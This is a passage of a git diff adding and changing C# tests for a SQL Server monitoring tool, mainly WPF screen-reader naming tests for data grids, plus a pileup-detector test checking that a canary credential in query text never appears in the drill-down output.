@@ -280,14 +280,14 @@ public async System.Threading.Tasks.Task AnExistingFileWhoseSchemaVersionCannotB
     [Fact]
     public async System.Threading.Tasks.Task AFatalCheckpointAtTheOpen_StopsTheOpen_WithAnErrorThatNamesTheCheckpoint()
     {
-        var lite = new DuckDbInitializer(_dbPath);
+        using var lite = new DuckDbInitializer(_dbPath);
         await lite.InitializeAsync();
         lite.Dispose();
 
         /* DuckDB's checkpoint-abort setting makes the open's own CHECKPOINT fail with FATAL, which invalidates the
            database. The open cannot carry on, and its error must say what failed rather than leave the next
            statement to report "database has been invalidated". */
-        var reopened = new DuckDbInitializer(_dbPath)
+        using var reopened = new DuckDbInitializer(_dbPath)
         {
             BeforeOpenCheckpointForTests = connection =>
             {
diff --git a/Lite.Tests/SameStatementPileupDetectorTests.cs b/Lite.Tests/SameStatementPileupDetectorTests.cs
index 330f2af8f3..8c38a58859 100644
--- a/Lite.Tests/SameStatementPileupDetectorTests.cs
+++ b/Lite.Tests/SameStatementPileupDetectorTests.cs
@@ -61,7 +61,7 @@ private static SameStatementPileupDetector.SnapshotRow Row(
            identity key is the DMV hash above, so the text is load-bearing only in the null-hash
            surrogate tests, which supply their own. */
         string? text = "select p.id, p.name, t.qty from dbo.product as p join #scope as t on t.id = p.id where p.org_id = @org_id") =>
-        new(at, sessionId, hash, text, db, status, wait, waitMs, elapsedMs, cpuMs, logicalReads, physicalReads);
+        new(at, sessionId, hash, text, db, status, wait, waitMs, elapsedMs, cpuMs, logicalReads, physicalReads, text);
 
     /// <summary>The 20:10:31Z snapshot verbatim, plus the 20:07:01Z baseline observation.</summary>
     private static List<SameStatementPileupDetector.SnapshotRow> MeasuredIncidentWindow() =>
@@ -163,6 +163,25 @@ public void TheMeasuredIncident_DrillDown_QuotesTheSessionsAndTheBaseline()
         Assert.Equal(IncidentDb, statement.GetProperty("database_name").GetString());
     }
 
+    /// <summary>
+    /// #5361 F1: the drill-down prints <c>PreviewText</c>, the text a reader judged whole before it cut. A row with no
+    /// <c>PreviewText</c> prints nothing: it must never fall back to the raw identity cut in <c>QueryText</c>.
+    /// </summary>
+    [Fact]
+    public void TheDrillDownStatement_FailsClosed_WhenARowCarriesNoPreviewText()
+    {
+        const string canary = "EXEC x @u = N'https://svc:Zx9Qv7Lmk@h'";
+        var window = MeasuredIncidentWindow()
+            .Select(r => r with { QueryText = canary, PreviewText = null })
+            .ToList();
+
+        var detection = Assert.Single(SameStatementPileupDetector.Evaluate(IncidentServer, window, JustAfterPileup));
+
+        var statement = JsonSerializer.SerializeToElement(detection.DrillDown["statement"]);
+        Assert.Equal("", statement.GetProperty("query_text").GetString());
+        Assert.DoesNotContain("Zx9Qv7Lmk", JsonSerializer.Serialize(detection.DrillDown), StringComparison.Ordinal);
+    }
+
     /// <summary>
     /// The frozen advice (#3463's lesson, and FactAdvice's value-stated path): StoryText round-trips
     /// as an AdviceBlock whose headline quotes the MEASURED numbers, so every surface — e-mail,
@@ -743,7 +762,7 @@ public void RowsWithoutADatabaseName_ShareOneScope_AndCarryANullDatabase()
     [Fact]
     public void TheFinding_IsComputedFromSnapshotRowsAlone()
     {
-        /* The row type IS the contract: every member is a query_snapshots column. A field added here
+        /* The row type IS the contract: every member is a query_snapshots column (PreviewText, #5320, is the same text judged whole before the cut). A field added here
            from a query_store source would break this list and have to be justified. */
         var members = typeof(SameStatementPileupDetector.SnapshotRow)
             .GetProperties()
@@ -755,7 +774,7 @@ from a query_store source would break this list and have to be justified. */
             new[]
             {
                 "CollectionTime", "CpuTimeMs", "DatabaseName", "ElapsedMs", "LogicalReads",
-                "PhysicalReads", "QueryHash", "QueryText", "SessionId", "Status", "WaitTimeMs", "WaitType",
+                "PhysicalReads", "PreviewText", "QueryHash", "QueryText", "SessionId", "Status", "WaitTimeMs", "WaitType",
             },
             members);
 
diff --git a/Lite.Tests/ScreenReaderNamesFollowUpTests.cs b/Lite.Tests/ScreenReaderNamesFollowUpTests.cs
new file mode 100644
index 0000000000..8c43db011e
--- /dev/null
+++ b/Lite.Tests/ScreenReaderNamesFollowUpTests.cs
@@ -0,0 +1,264 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor Lite.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Threading;
+using System.Windows;
+using System.Windows.Automation;
+using System.Windows.Controls;
+using System.Windows.Controls.Primitives;
+using System.Windows.Data;
+using System.Windows.Media;
+using System.Windows.Threading;
+using PerformanceMonitor.Ui;
+using Xunit;
+
+namespace PerformanceMonitorLite.Tests;
+
+/// <summary>
+/// Screen-reader names that go stale or read badly: a header or tab put back at the same size, columns dragged into a new
+/// order, hidden elements inside a templated cell, heat-map and bar cells, and a long query text in a row name. The Viewer twin is
+/// in Darling.Tests (ViewerScreenReaderNamesFollowUpTests).
+/// </summary>
+[Trait("Reads", "Darling")]
+public class ScreenReaderNamesFollowUpTests
+{
+    private static void Settle(Window window)
+    {
+        window.Show();
+        var frame = new DispatcherFrame();
+        window.Dispatcher.BeginInvoke(DispatcherPriority.ApplicationIdle, new Action(() => frame.Continue = false));
+        Dispatcher.PushFrame(frame);
+    }
+
+    private static IEnumerable<DependencyObject> Descendants(DependencyObject root)
+    {
+        for (var i = 0; i < VisualTreeHelper.GetChildrenCount(root); i++)
+        {
+            var child = VisualTreeHelper.GetChild(root, i);
+            yield return child;
+            foreach (var deeper in Descendants(child))
+            {
+                yield return deeper;
+            }
+        }
+    }
+
+    public sealed class Row
+    {
+        public string Time { get; set; } = "";
+        public string Server { get; set; } = "";
+        public string Retries { get; set; } = "";
+        public string Query { get; set; } = "";
+    }
+
+    /// <summary>A template whose visual tree is a stack panel holding the given elements.</summary>
+    private static DataTemplate PanelTemplate(params FrameworkElementFactory[] children)
+    {
+        var template = new DataTemplate();
+        var panel = new FrameworkElementFactory(typeof(StackPanel));
+        foreach (var child in children)
+        {
+            panel.AppendChild(child);
+        }
+
+        template.VisualTree = panel;
+        return template;
+    }
+
+    private static FrameworkElementFactory BoundText(string path, Visibility visibility = Visibility.Visible)
+    {
+        var text = new FrameworkElementFactory(typeof(TextBlock));
+        text.SetBinding(TextBlock.TextProperty, new Binding(path));
+        text.SetValue(UIElement.VisibilityProperty, visibility);
+        return text;
+    }
+
+    private static DataGrid NewGrid(IEnumerable<DataGridColumn> columns, IEnumerable<Row> rows)
+    {
+        var grid = new DataGrid { AutoGenerateColumns = false, HeadersVisibility = DataGridHeadersVisibility.Column };
+        foreach (var column in columns)
+        {
+            grid.Columns.Add(column);
+        }
+
+        grid.ItemsSource = rows.ToList();
+        return grid;
+    }
+
+    private static DataGridTextColumn TextColumn(string header, string path) =>
+        new() { Header = header, Binding = new Binding(path) };
+
+    [Fact]
+    public void AHeaderAndATabPutBackAtTheSameSize_ReadTheirChangedText()
+    {
+        var (headerBefore, headerAfter, tabBefore, tabAfter) = StaTestThread.Run(() =>
+        {
+            AccessibleNames.Register();
+
+            var headerText = new TextBlock { Text = "Time (server)" };
+            var headerPanel = new StackPanel { Orientation = Orientation.Horizontal };
+            headerPanel.Children.Add(headerText);
+            headerPanel.Children.Add(new Button { Content = "x" });
+            var grid = NewGrid(new DataGridColumn[] { new DataGridTextColumn { Header = headerPanel, Binding = new Binding("Time"), Width = 150 } },
+                new[] { new Row { Time = "06:01:12" } });
+
+            var tabText = new TextBlock { Text = "example-sql-01" };
+            var tabPanel = new StackPanel { Orientation = Orientation.Horizontal };
+            tabPanel.Children.Add(tabText);
+            tabPanel.Children.Add(new Button { Content = "x" });
+            var tabs = new TabControl { Width = 400, Height = 200 };
+            tabs.Items.Add(new TabItem { Header = tabPanel, Content = grid });
+
+            var window = new Window { Content = tabs, Width = 500, Height = 300 };
+            Settle(window);
+
+            var header = Descendants(grid).OfType<DataGridColumnHeader>().First(h => h.Column is not null);
+            var tab = tabs.Items.OfType<TabItem>().First();
+            var hb = AutomationProperties.GetName(header);
+            var tb = AutomationProperties.GetName(tab);
+
+            /* Out of the window and back, at the same size; the text changes while it is out (Alert History: UTC picked on another tab). */
+            window.Content = null;
+            Settle(window);
+            headerText.Text = "Time (UTC)";
+            tabText.Text = "example-sql-02";
+            window.Content = tabs;
+            Settle(window);
+
+            var ha = AutomationProperties.GetName(Descendants(grid).OfType<DataGridColumnHeader>().First(h => h.Column is not null));
+            var ta = AutomationProperties.GetName(tab);
+            window.Close();
+            return (hb, ha, tb, ta);
+        });
+
+        Assert.Equal("Time (server)", headerBefore);
+        Assert.Equal("example-sql-01", tabBefore);
+        Assert.Equal("Time (UTC)", headerAfter);
+        Assert.Equal("example-sql-02", tabAfter);
+    }
+
+    [Fact]
+    public void ARowIsRenamed_WhenTheUserDragsColumnsIntoANewOrder()
+    {
+        var (before, after) = StaTestThread.Run(() =>
+        {
+            AccessibleNames.Register();
+            var grid = NewGrid(new DataGridColumn[] { TextColumn("Time", "Time"), TextColumn("Server", "Server"), TextColumn("Retries", "Retries") },
+                new[] { new Row { Time = "06:01:12", Server = "example-sql-01", Retries = "3" } });
+            var window = new Window { Content = grid, Width = 500, Height = 300 };
+            Settle(window);
+            var row = Descendants(grid).OfType<DataGridRow>().First();
+            var b = AutomationProperties.GetName(row);
+
+            grid.Columns[2].DisplayIndex = 0;
+            Settle(window);
+            var a = AutomationProperties.GetName(row);
+            window.Close();
+            return (b, a);
+        });
+
+        Assert.Equal("Time 06:01:12, Server example-sql-01", before);
+        Assert.Equal("Retries 3, Time 06:01:12", after);
+    }
+
+    [Fact]
+    public void HiddenElementsInATemplatedCell_AreNotContent()
+    {
+        var (hiddenText, hiddenButton, rowName) = StaTestThread.Run(() =>
+        {
+            AccessibleNames.Register();
+            var hiddenButtonFactory = new FrameworkElementFactory(typeof(Button));
+            hiddenButtonFactory.SetValue(ContentControl.ContentProperty, "go");
+            hiddenButtonFactory.SetValue(UIElement.VisibilityProperty, Visibility.Collapsed);
+            var grid = NewGrid(new DataGridColumn[]
+                {
+                    new DataGridTemplateColumn { Header = "Retries", CellTemplate = PanelTemplate(BoundText("Query", Visibility.Collapsed)) },
+                    new DataGridTemplateColumn { Header = "Action", CellTemplate = PanelTemplate(hiddenButtonFactory) },
+                    TextColumn("Time", "Time"),
+                },
+                new[] { new Row { Time = "06:01:12", Query = "SELECT 1" } });
+            var window = new Window { Content = grid, Width = 500, Height = 300 };
+            Settle(window);
+            var cells = Descendants(grid).OfType<DataGridCell>().ToList();
+            var row = Descendants(grid).OfType<DataGridRow>().First();
+            var result = (AutomationProperties.GetName(cells[0]), AutomationProperties.GetName(cells[1]), AutomationProperties.GetName(row));
+            window.Close();
+            return result;
+        });
+
+        Assert.Equal("Retries: blank", hiddenText);
+        Assert.Equal("Action: blank", hiddenButton);
+        /* The hidden text is not read into the row's name either. */
+        Assert.Equal("Time 06:01:12", rowName);
+    }
+
+    [Fact]
+    public void HeatMapAndBarCells_GiveTheirValueToTheRowName_AndAnEmptyHeatCellIsBlank()
+    {
+        var (rowName, emptyHeat, barRowName) = StaTestThread.Run(() =>
+        {
+            AccessibleNames.Register();
+            var heat = new FrameworkElementFactory(typeof(Border));
+            heat.SetValue(Border.BackgroundProperty, Brushes.Transparent);
+            heat.AppendChild(BoundText("Server"));
+            var heatTemplate = new DataTemplate { VisualTree = heat };
+
+            var emptyHeatFactory = new FrameworkElementFactory(typeof(Border));
+            emptyHeatFactory.SetValue(Border.BackgroundProperty, Brushes.Transparent);
+            emptyHeatFactory.AppendChild(BoundText("Retries"));
+
+            var bar = new FrameworkElementFactory(typeof(BarChartCell));
+            bar.SetBinding(BarChartCell.TextProperty, new Binding("Query"));
+            bar.SetValue(BarChartCell.MaximumProperty, 10.0);
+
+            var grid = NewGrid(new DataGridColumn[]
+                {
+                    new DataGridTemplateColumn { Header = "Row Lock Wait ms", CellTemplate = heatTemplate },
+                    new DataGridTemplateColumn { Header = "Empty heat", CellTemplate = new DataTemplate { VisualTree = emptyHeatFactory } },
+                    new DataGridTemplateColumn { Header = "Executions", CellTemplate = new DataTemplate { VisualTree = bar } },
+                },
+                new[] { new Row { Server = "1,204", Retries = "" }, new Row { Server = "", Retries = "", Query = "42" } });
+            var window = new Window { Content = grid, Width = 700, Height = 300 };
+            Settle(window);
+            var rows = Descendants(grid).OfType<DataGridRow>().ToList();
+            var cells = Descendants(rows[0]).OfType<DataGridCell>().ToList();
+            var result = (AutomationProperties.GetName(rows[0]), AutomationProperties.GetName(cells[1]), AutomationProperties.GetName(rows[1]));
+            window.Close();
+            return result;
+        });
+
+        /* The heat cell's text is read although its brush is transparent, and the empty transparent cell is blank, not content. */
+        Assert.Equal("Row Lock Wait ms 1,204", rowName);
+        Assert.Equal("Empty heat: blank", emptyHeat);
+        /* The bar cell's value is read through the user control. */
+        Assert.Equal("Executions 42", barRowName);
+    }
+
+    [Fact]
+    public void ARowNamePart_IsCapped_SoALongQueryTextIsNotReadOutInFull()
+    {
+        var name = StaTestThread.Run(() =>
+        {
+            AccessibleNames.Register();
+            var grid = NewGrid(new DataGridColumn[] { TextColumn("Collected", "Time"), TextColumn("Query Text", "Query") },
+                new[] { new Row { Time = "06:01:12", Query = new string('x', 5000) } });
+            var window = new Window { Content = grid, Width = 500, Height = 300 };
+            Settle(window);
+            var result = AutomationProperties.GetName(Descendants(grid).OfType<DataGridRow>().First());
+            window.Close();
+            return result;
+        });
+
+        Assert.StartsWith("Collected 06:01:12, Query Text xxx", name, StringComparison.Ordinal);
+        Assert.EndsWith("...", name, StringComparison.Ordinal);
+        Assert.True(name.Length <= "Collected 06:01:12, ".Length + 80, "the name is " + name.Length + " characters");
+    }
+}
diff --git a/Lite.Tests/ScreenReaderNamesTests.cs b/Lite.Tests/ScreenReaderNamesTests.cs
new file mode 100644
index 0000000000..0c322ac7ef
--- /dev/null
+++ b/Lite.Tests/ScreenReaderNamesTests.cs
@@ -0,0 +1,234 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor Lite.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Runtime.CompilerServices;
+using System.Text.RegularExpressions;
+using System.Threading;
+using System.Windows;
+using System.Windows.Automation.Peers;
+using System.Windows.Controls;
+using System.Windows.Threading;
+using PerformanceMonitor.Ui;
+using PerformanceMonitorLite.Models;
+using PerformanceMonitorLite.Services;
+using Xunit;
+
+namespace PerformanceMonitorLite.Tests;
+
+/// <summary>
+/// Release walk V2, V3 and V4: what UI Automation reads for a grid column header, the filter button inside it, an empty grid
+/// cell and a server box item. The names came out as "System.Windows.Controls.StackPanel", a bare glyph, "Item: ...Row,
+/// Column Display Index: 7" and "ServerConnection". The Viewer twin is in Darling.Tests (ViewerScreenReaderNamesTests).
+/// </summary>
+[Trait("Reads", "Darling")]
+public class ScreenReaderNamesTests
+{
+    private static string RepoRoot([CallerFilePath] string thisFile = "") =>
+        Path.GetFullPath(Path.Combine(Path.GetDirectoryName(thisFile)!, ".."));
+
+    /// <summary>Shows the window and lets its layout and input-priority work run, so the first SizeChanged of every element has fired.</summary>
+    private static void Settle(Window window)
+    {
+        window.Show();
+        var frame = new DispatcherFrame();
+        window.Dispatcher.BeginInvoke(DispatcherPriority.ApplicationIdle, new Action(() => frame.Continue = false));
+        Dispatcher.PushFrame(frame);
+    }
+
+    private static void Walk(AutomationPeer peer, List<AutomationPeer> into)
+    {
+        into.Add(peer);
+        foreach (var child in peer.GetChildren() ?? new List<AutomationPeer>())
+        {
+            Walk(child, into);
+        }
+    }
+
+    public sealed class Row
+    {
+        public string Time { get; set; } = "";
+        public string Retries { get; set; } = "";
+        public override string ToString() => "Row";
+    }
+
+    [Fact]
+    public void AGridsPanelHeaders_FilterButtons_AndBlankCells_AreNamedInTheAutomationTree()
+    {
+        var names = StaTestThread.Run(() =>
+        {
+            AccessibleNames.Register();
+            var grid = new DataGrid { AutoGenerateColumns = false, HeadersVisibility = DataGridHeadersVisibility.Column };
+            foreach (var (title, path) in new[] { ("Time", "Time"), ("Retries", "Retries") })
+            {
+                var panel = new StackPanel { Orientation = Orientation.Horizontal };
+                panel.Children.Add(new Button { Tag = path, Content = new TextBlock { Text = "" } });
+                panel.Children.Add(new TextBlock { Text = title });
+                grid.Columns.Add(new DataGridTextColumn { Header = panel, Binding = new System.Windows.Data.Binding(path) });
+            }
+
+            grid.ItemsSource = new[] { new Row { Time = "10:00", Retries = "" } };
+            var window = new Window { Content = grid, Width = 500, Height = 300 };
+            Settle(window);
+            var peers = new List<AutomationPeer>();
+            Walk(UIElementAutomationPeer.CreatePeerForElement(grid), peers);
+            window.Close();
+            return peers.Select(p => (Type: p.GetType().Name, Name: p.GetName())).ToList();
+        });
+
+        var headerNames = names.Where(n => n.Type == "DataGridColumnHeaderItemAutomationPeer").Select(n => n.Name).ToList();
+        Assert.Equal(new[] { "Time", "Retries" }, headerNames);
+        Assert.Contains(names, n => n.Type == "ButtonAutomationPeer" && n.Name == "Filter Time");
+        Assert.Contains(names, n => n.Type == "ButtonAutomationPeer" && n.Name == "Filter Retries");
+        Assert.Contains(names, n => n.Type == "DataGridCellItemAutomationPeer" && n.Name == "Retries: blank");
+        Assert.DoesNotContain(names, n => n.Name.Contains("System.Windows.Controls.StackPanel", StringComparison.Ordinal));
+        Assert.DoesNotContain(names, n => n.Name.StartsWith("Item:", StringComparison.Ordinal));
+    }
+
+    [Fact]
+    public void ABlankCell_LosesItsBlankName_WhenItsTextFillsIn()
+    {
+        var (blank, filled) = StaTestThread.Run(() =>
+        {
+            AccessibleNames.Register();
+            var grid = new DataGrid { AutoGenerateColumns = false, HeadersVisibility = DataGridHeadersVisibility.Column };
+            grid.Columns.Add(new DataGridTextColumn { Header = "Retries", Binding = new System.Windows.Data.Binding("Retries") });
+            var row = new Row();
+            grid.ItemsSource = new[] { row };
+            var window = new Window { Content = grid, Width = 400, Height = 300 };
+            Settle(window);
+            var cell = (DataGridCell)new List<DependencyObject>(Descendants(grid)).First(d => d is DataGridCell);
+            var first = System.Windows.Automation.AutomationProperties.GetName(cell);
+            ((TextBlock)cell.Content).Text = "3";
+            var second = System.Windows.Automation.AutomationProperties.GetName(cell);
+            window.Close();
+            return (first, second);
+        });
+
+        Assert.Equal("Retries: blank", blank);
+        Assert.Equal("", filled);
+    }
+
+    private static IEnumerable<DependencyObject> Descendants(DependencyObject root)
+    {
+        for (var i = 0; i < System.Windows.Media.VisualTreeHelper.GetChildrenCount(root); i++)
+        {
+            var child = System.Windows.Media.VisualTreeHelper.GetChild(root, i);
+            yield return child;
+            foreach (var deeper in Descendants(child))
+            {
+                yield return deeper;
+            }
+        }
+    }
+
+    [Fact]
+    public void ServerItems_ReadAsTheServersName_NotTheTypeName()
+    {
+        var server = new ServerConnection { DisplayName = "example-sql-01" };
+        var readOnly = new ServerConnection { DisplayName = "example-sql-02", ReadOnlyIntent = true };
+        var card = new ServerSummaryItem { DisplayName = "example-sql-03" };
+
+        Assert.Equal("example-sql-01", server.ToString());
+        Assert.Equal("example-sql-02 (Read-Only)", readOnly.ToString());
+        Assert.Equal("example-sql-03", card.ToString());
+
+        var itemNames = StaTestThread.Run(() =>
+        {
+            /* A closed ComboBox builds no item peers: its drop-down list is a ListBox, which names its items the same way. */
+            var combo = new ListBox { ItemsSource = new[] { server, readOnly } };
+            var window = new Window { Content = combo, Width = 300, Height = 200 };
+            Settle(window);
+            var peers = new List<AutomationPeer>();
+            Walk(UIElementAutomationPeer.CreatePeerForElement(combo), peers);
+            window.Close();
+            return peers.Select(p => p.GetName()).ToList();
+        });
+
+        Assert.Contains("example-sql-01", itemNames);
+        Assert.Contains("example-sql-02 (Read-Only)", itemNames);
+        Assert.DoesNotContain(itemNames, n => n.Contains("ServerConnection", StringComparison.Ordinal));
+    }
+
+    private static readonly Regex s_columnHeader = new(@"<(DataGrid\w*Column)\.Header>(?<body>.*?)</\1\.Header>", RegexOptions.Singleline | RegexOptions.Compiled);
+
+    private static string StripComments(string xaml) => Regex.Replace(xaml, "<!--.*?-->", "", RegexOptions.Singleline);
+
+    private static IEnumerable<string> LiteXamlFiles() =>
+        Directory.EnumerateFiles(Path.Combine(RepoRoot(), "Lite"), "*.xaml", SearchOption.AllDirectories)
+            .Where(f => !f.Contains(Path.DirectorySeparatorChar + "obj" + Path.DirectorySeparatorChar, StringComparison.Ordinal)
+                     && !f.Contains(Path.DirectorySeparatorChar + "bin" + Path.DirectorySeparatorChar, StringComparison.Ordinal));
+
+    [Fact]
+    public void EveryColumnHeaderMadeOfAPanel_CarriesAVisibleTitle_SoItHasAScreenReaderName()
+    {
+        var offenders = new List<string>();
+        var checkedHeaders = 0;
+
+        foreach (var file in LiteXamlFiles())
+        {
+            foreach (Match header in s_columnHeader.Matches(StripComments(File.ReadAllText(file))))
+            {
+                var body = header.Groups["body"].Value;
+
+                if (!body.Contains("<StackPanel", StringComparison.Ordinal) && !body.Contains("<Button", StringComparison.Ordinal))
+                {
+                    continue;
+                }
+
+                checkedHeaders++;
+
+                if (!Regex.IsMatch(body, "<TextBlock\\b[^>]*\\bText=\"[^\"]+\""))
+                {
+                    offenders.Add(Path.GetRelativePath(RepoRoot(), file) + ": " + Regex.Replace(body.Trim(), @"\s+", " ").Substring(0, Math.Min(120, body.Trim().Length)));
+                }
+            }
+        }
+
+        Assert.True(checkedHeaders > 50, "the census found only " + checkedHeaders + " panel headers; the pattern no longer matches the XAML");
+        Assert.True(offenders.Count == 0, "column headers with no visible title to name them from:\n" + string.Join("\n", offenders));
+    }
+
+    [Fact]
+    public void EveryFilterButtonSitsInAColumnHeader_WhereTheNameIsGivenToIt()
+    {
+        var offenders = new List<string>();
+
+        foreach (var file in LiteXamlFiles().Where(f => !f.Contains(Path.DirectorySeparatorChar + "Themes" + Path.DirectorySeparatorChar, StringComparison.Ordinal)))
+        {
+            var text = StripComments(File.ReadAllText(file));
+            var inHeaders = s_columnHeader.Matches(text).Sum(m => Regex.Matches(m.Groups["body"].Value, "ColumnFilterButtonStyle").Count);
+            var all = Regex.Matches(text, "ColumnFilterButtonStyle").Count;
+
+            if (all != inHeaders)
+            {
+                offenders.Add(Path.GetRelativePath(RepoRoot(), file) + ": " + (all - inHeaders) + " filter button(s) outside a column header");
+            }
+        }
+
+        Assert.True(offenders.Count == 0, string.Join("\n", offenders));
+    }
+
+    [Theory]
+    [InlineData("Lite/Controls/RecommendationsTab.xaml")]
+    [InlineData("Lite/Controls/FinOpsTab.xaml")]
+    public void TheServerBox_HasAName_AndItsItemsAreNamedByTheServer(string relative)
+    {
+        var text = File.ReadAllText(Path.Combine(RepoRoot(), relative));
+        var start = text.IndexOf("<ComboBox x:Name=\"ServerSelector\"", StringComparison.Ordinal);
+        Assert.True(start >= 0);
+        var end = text.IndexOf("</ComboBox>", start, StringComparison.Ordinal);
+        var box = text.Substring(start, end - start);
+
+        Assert.Contains("AutomationProperties.Name=\"Server\"", box, StringComparison.Ordinal);
+        Assert.Contains("<Setter Property=\"AutomationProperties.Name\" Value=\"{Binding DisplayNameWithIntent, Mode=OneTime}\"/>", box, StringComparison.Ordinal);
+    }
+}
diff --git a/Lite.Tests/ScreenReaderRowNamesTests.cs b/Lite.Tests/ScreenReaderRowNamesTests.cs
new file mode 100644
index 0000000000..d49f2a38bd
--- /dev/null
+++ b/Lite.Tests/ScreenReaderRowNamesTests.cs
@@ -0,0 +1,312 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor Lite.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Threading;
+using System.Windows;
+using System.Windows.Automation;
+using System.Windows.Automation.Peers;
+using System.Windows.Controls;
+using System.Windows.Data;
+using System.Windows.Threading;
+using PerformanceMonitor.Ui;
+using Xunit;
+
+namespace PerformanceMonitorLite.Tests;
+
+/// <summary>
+/// What UI Automation reads for a grid ROW (it was the data item's type name, "...ViewerJobHistoryRow"), for a templated cell with
+/// nothing in it, and what the per-event handlers cost. The Viewer twin is in Darling.Tests (ViewerScreenReaderRowNamesTests).
+/// </summary>
+[Trait("Reads", "Darling")]
+public class ScreenReaderRowNamesTests
+{
+    private static void Settle(Window window)
+    {
+        window.Show();
+        var frame = new DispatcherFrame();
+        window.Dispatcher.BeginInvoke(DispatcherPriority.ApplicationIdle, new Action(() => frame.Continue = false));
+        Dispatcher.PushFrame(frame);
+    }
+
+    private static void Walk(AutomationPeer peer, List<AutomationPeer> into)
+    {
+        into.Add(peer);
+        foreach (var child in peer.GetChildren() ?? new List<AutomationPeer>())
+        {
+            Walk(child, into);
+        }
+    }
+
+    private static IEnumerable<DependencyObject> Descendants(DependencyObject root)
+    {
+        for (var i = 0; i < System.Windows.Media.VisualTreeHelper.GetChildrenCount(root); i++)
+        {
+            var child = System.Windows.Media.VisualTreeHelper.GetChild(root, i);
+            yield return child;
+            foreach (var deeper in Descendants(child))
+            {
+                yield return deeper;
+            }
+        }
+    }
+
+    /// <summary>No ToString override: a screen reader reads the type name, as it did for the job history row.</summary>
+    public sealed class JobRow
+    {
+        public string Time { get; set; } = "";
+        public string Server { get; set; } = "";
+        public string Retries { get; set; } = "";
+    }
+
+    private static DataTemplate TextTemplate(string path)
+    {
+        var template = new DataTemplate();
+        var panel = new FrameworkElementFactory(typeof(StackPanel));
+        var text = new FrameworkElementFactory(typeof(TextBlock));
+        text.SetBinding(TextBlock.TextProperty, new Binding(path));
+        panel.AppendChild(text);
+        template.VisualTree = panel;
+        return template;
+    }
+
+    private static DataGrid NewGrid(IEnumerable<DataGridColumn> columns, IEnumerable<JobRow> rows, bool recycling = false)
+    {
+        var grid = new DataGrid { AutoGenerateColumns = false, HeadersVisibility = DataGridHeadersVisibility.Column };
+        foreach (var column in columns)
+        {
+            grid.Columns.Add(column);
+        }
+
+        if (recycling)
+        {
+            VirtualizingPanel.SetVirtualizationMode(grid, VirtualizationMode.Recycling);
+        }
+
+        grid.ItemsSource = rows.ToList();
+        return grid;
+    }
+
+    private static DataGridTextColumn TextColumn(string header, string path) =>
+        new() { Header = header, Binding = new Binding(path) };
+
+    [Fact]
+    public void AGridRow_IsNamedFromItsFirstTwoVisibleColumns_NotFromItsDataTypeName()
+    {
+        var names = StaTestThread.Run(() =>
+        {
+            AccessibleNames.Register();
+            var grid = NewGrid(new DataGridColumn[] { TextColumn("Time", "Time"), TextColumn("Server", "Server"), TextColumn("Retries", "Retries") },
+                new[] { new JobRow { Time = "06:01:12", Server = "example-sql-01" } });
+            var window = new Window { Content = grid, Width = 500, Height = 300 };
+            Settle(window);
+            var peers = new List<AutomationPeer>();
+            Walk(UIElementAutomationPeer.CreatePeerForElement(grid), peers);
+            window.Close();
+            return peers.Select(p => (Type: p.GetType().Name, Name: p.GetName())).ToList();
+        });
+
+        Assert.Contains(names, n => n.Type == "DataGridItemAutomationPeer" && n.Name == "Time 06:01:12, Server example-sql-01");
+        Assert.DoesNotContain(names, n => n.Name.Contains("JobRow", StringComparison.Ordinal));
+    }
+
+    [Fact]
+    public void AGridRow_SkipsHiddenColumnsAndReadsTemplatedColumns_AndFollowsTheDisplayOrder()
+    {
+        var name = StaTestThread.Run(() =>
+        {
+            AccessibleNames.Register();
+            var grid = NewGrid(new DataGridColumn[]
+                {
+                    new DataGridTemplateColumn { Header = "Retries", CellTemplate = TextTemplate("Retries") },
+                    new DataGridTextColumn { Header = "Hidden", Binding = new Binding("Time"), Visibility = Visibility.Collapsed },
+                    new DataGridTemplateColumn { Header = "Server", CellTemplate = TextTemplate("Server") },
+                    TextColumn("Time", "Time"),
+                },
+                new[] { new JobRow { Time = "06:01:12", Server = "example-sql-01", Retries = "" } });
+            var window = new Window { Content = grid, Width = 500, Height = 300 };
+            Settle(window);
+            var row = Descendants(grid).OfType<DataGridRow>().First();
+            var result = AutomationProperties.GetName(row);
+            window.Close();
+            return result;
+        });
+
+        /* Retries is empty, so the first two columns WITH text are Server and Time; the hidden column is never read. */
+        Assert.Equal("Server example-sql-01, Time 06:01:12", name);
+    }
+
+    [Fact]
+    public void ARowReusedForAnotherItem_IsRenamed_AndWatchersFollowTheRealizedCells_NotTheRowCount()
+    {
+        var (mismatches, checkedRows, atTop, peak, realized) = StaTestThread.Run(() =>
+        {
+            AccessibleNames.Register();
+            var rows = Enumerable.Range(0, 3000).Select(i => new JobRow { Time = "T" + i, Server = "S" + i, Retries = i % 2 == 0 ? "" : "1" }).ToList();
+            var grid = NewGrid(new DataGridColumn[] { TextColumn("Time", "Time"), TextColumn("Server", "Server"), TextColumn("Retries", "Retries") }, rows, recycling: true);
+            var window = new Window { Content = grid, Width = 500, Height = 300 };
+            Settle(window);
+            var scroll = Descendants(grid).OfType<ScrollViewer>().First();
+            var top = AccessibleNames.WatcherCount;
+            var max = top;
+            var bad = 0;
+            var seen = 0;
+
+            for (var offset = 0; offset <= rows.Count; offset += 37)
+            {
+                scroll.ScrollToVerticalOffset(offset);
+                Settle(window);
+                max = Math.Max(max, AccessibleNames.WatcherCount);
+
+                foreach (var row in Descendants(grid).OfType<DataGridRow>())
+                {
+                    if (row.Item is not JobRow item)
+                    {
+                        continue;
+                    }
+
+                    seen++;
+
+                    if (AutomationProperties.GetName(row) != "Time " + item.Time + ", Server " + item.Server)
+                    {
+                        bad++;
+                    }
+                }
+            }
+
+            var realizedCells = Descendants(grid).OfType<DataGridCell>().Count();
+            window.Close();
+            return (bad, seen, top, max, realizedCells);
+        });
+
+        Assert.True(checkedRows > 1000, "the scroll visited only " + checkedRows + " rows");
